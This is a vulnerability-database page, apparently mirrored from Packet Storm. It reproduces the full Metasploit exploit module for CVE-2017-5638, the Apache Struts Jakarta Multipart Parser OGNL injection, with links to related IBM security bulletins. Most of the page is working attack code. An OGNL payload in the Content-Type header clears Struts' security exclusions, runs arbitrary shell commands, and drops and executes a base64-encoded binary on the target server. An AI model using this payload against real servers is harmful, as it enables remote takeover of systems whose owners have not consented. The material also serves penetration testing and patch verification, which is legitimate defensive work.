Lucene search
K

Apache Struts Jakarta Multipart Parser OGNL Injection

🗓️ 14 Mar 2017 00:00:00Reported by egyptType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 307 Views

This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via HTTP Content-Type header. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)
18 Jun 201801:35
ibm
IBM Security Bulletins
Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)
18 Jun 201800:34
ibm
IBM Security Bulletins
Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)
18 Jun 201801:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)
15 Jun 201822:50
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840
18 Jun 201800:32
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)
16 Jun 201820:09
ibm
IBM Security Bulletins
WebSphere Application Server and IBM HTTP Server Security Bulletin List
13 Jul 202218:04
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900
18 Feb 202301:45
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)
29 Mar 202301:48
ibm
IBM Security Bulletins
Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)
15 Jun 201822:49
ibm
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',  
'Description' => %q{  
This module exploits a remote code execution vunlerability in Apache Struts  
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed  
via http Content-Type header.  
  
Native payloads will be converted to executables and dropped in the  
server's temp dir. If this fails, try a cmd/* payload, which won't  
have to write to the disk.  
},  
'Author' => [  
'Nike.Zheng', # PoC  
'Nixawk', # Metasploit module  
'Chorder', # Metasploit module  
'egypt', # combining the above  
'Jeffrey Martin', # Java fu  
],  
'References' => [  
['CVE', '2017-5638'],  
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']  
],  
'Privileged' => true,  
'Targets' => [  
[  
'Universal', {  
'Platform' => %w{ unix windows linux },  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
},  
],  
],  
'DisclosureDate' => 'Mar 07 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),  
]  
)  
register_advanced_options(  
[  
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])  
]  
)  
  
@data_header = "X-#{rand_text_alpha(4)}"  
end  
  
def check  
var_a = rand_text_alpha_lower(4)  
  
ognl = ""  
ognl << %q|(#[email protected]@getProperty('os.name')).|  
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|  
  
begin  
resp = send_struts_request(ognl)  
rescue Msf::Exploit::Failed  
return Exploit::CheckCode::Unknown  
end  
  
if resp && resp.code == 200 && resp.headers[var_a]  
vprint_good("Victim operating system: #{resp.headers[var_a]}")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
case payload.arch.first  
#when ARCH_JAVA  
# datastore['LHOST'] = nil  
# resp = send_payload(payload.encoded_jar)  
when ARCH_CMD  
resp = execute_command(payload.encoded)  
else  
resp = send_payload(generate_payload_exe)  
end  
  
require'pp'  
pp resp.headers if resp  
end  
  
def send_struts_request(ognl, extra_header: '')  
uri = normalize_uri(datastore["TARGETURI"])  
content_type = "%{(#_='multipart/form-data')."  
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."  
content_type << "(#_memberAccess?"  
content_type << "(#_memberAccess=#dm):"  
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."  
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."  
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."  
content_type << "(#ognlUtil.getExcludedClasses().clear())."  
content_type << "(#context.setMemberAccess(#dm))))."  
content_type << ognl  
content_type << "}"  
  
headers = { 'Content-Type' => content_type }  
if extra_header  
headers[@data_header] = extra_header  
end  
  
#puts content_type.gsub(").", ").\n")  
#puts  
  
resp = send_request_cgi(  
'uri' => uri,  
'method' => datastore['HTTPMethod'],  
'headers' => headers  
)  
  
if resp && resp.code == 404  
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')  
end  
resp  
end  
  
def execute_command(cmd)  
ognl = ''  
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|  
  
# You can add headers to the server's response for debugging with this:  
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|  
#ognl << %q|(#r.addHeader('decoded',#cmd)).|  
  
ognl << %q|(#[email protected]@getProperty('os.name')).|  
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|  
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|  
ognl << %q|(#p.redirectErrorStream(true)).|  
ognl << %q|(#process=#p.start())|  
  
send_struts_request(ognl, extra_header: cmd)  
end  
  
def send_payload(exe)  
  
ognl = ""  
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|  
ognl << %Q|(#[email protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).|  
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|  
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|  
ognl << %q|(#f.setExecutable(true)).|  
ognl << %q|(#f.deleteOnExit()).|  
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|  
  
# Using stuff from the sun.* package here means it likely won't work on  
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to  
# work and I don't see a better way of getting binary data onto the  
# system. =/  
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|  
ognl << %q|(#fos.write(#d)).|  
ognl << %q|(#fos.close()).|  
  
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|  
ognl << %q|(#p.start()).|  
ognl << %q|(#f.delete())|  
  
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))  
end  
  
end  
  
=begin  
Doesn't work:  
  
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|  
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|  
ognl << %q|(#[email protected]@getMethods(#c,'main',true).get(0)).|  
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|  
ognl << %q|(#m.invoke(null,null)).|  
  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed  
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6  
  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed  
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884  
  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation